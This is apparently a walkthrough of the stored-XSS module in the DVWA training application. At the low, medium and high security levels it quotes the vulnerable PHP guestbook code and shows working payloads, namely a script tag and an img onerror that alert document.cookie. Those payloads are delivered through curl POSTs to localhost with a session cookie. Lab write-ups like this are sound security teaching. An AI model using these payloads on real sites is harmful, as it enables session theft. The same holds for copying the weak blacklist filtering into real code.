Description

Vulnerability: XSS (Stored)
Impact: Leveraging XSS Scripting to get our desired data.

LOW Security Level

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

The app just INSERT the records to database with no checks

$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";

So we can use <script>alert(document.cookie)</script> in the message input since the name has maxlength:

Guide image

MEDIUM Security Level

This source code now has a lots of checks:

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

You can see in here the message input has really strict checks, the name just check the <script> tag so we can use the payload: <img src=x onerror=alert(document.cookie)>, however the UI input has maxlength so I created a curl command to make a POST with that payload:

curl -X POST "http://localhost/DVWA/vulnerabilities/xss_s/" \
-d "txtName=<img src=x onerror=alert(document.cookie)>&mtxMessage=anything&btnSign=Sign+Guestbook" \
-b "PHPSESSID=250fd0bf01a2b824c135e0e63ad79f65;security=medium"

Guide image

HIGH Security Level

The new source code:

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

The name input still just prevents <script> tag so the payload we use in MEDIUM Security Level still works:

curl -X POST "http://localhost/DVWA/vulnerabilities/xss_s/" \
-d "txtName=<img src=x onerror=alert(document.cookie)>&mtxMessage=anything&btnSign=Sign+Guestbook" \
-b "PHPSESSID=250fd0bf01a2b824c135e0e63ad79f65;security=high"

Result:

Guide image

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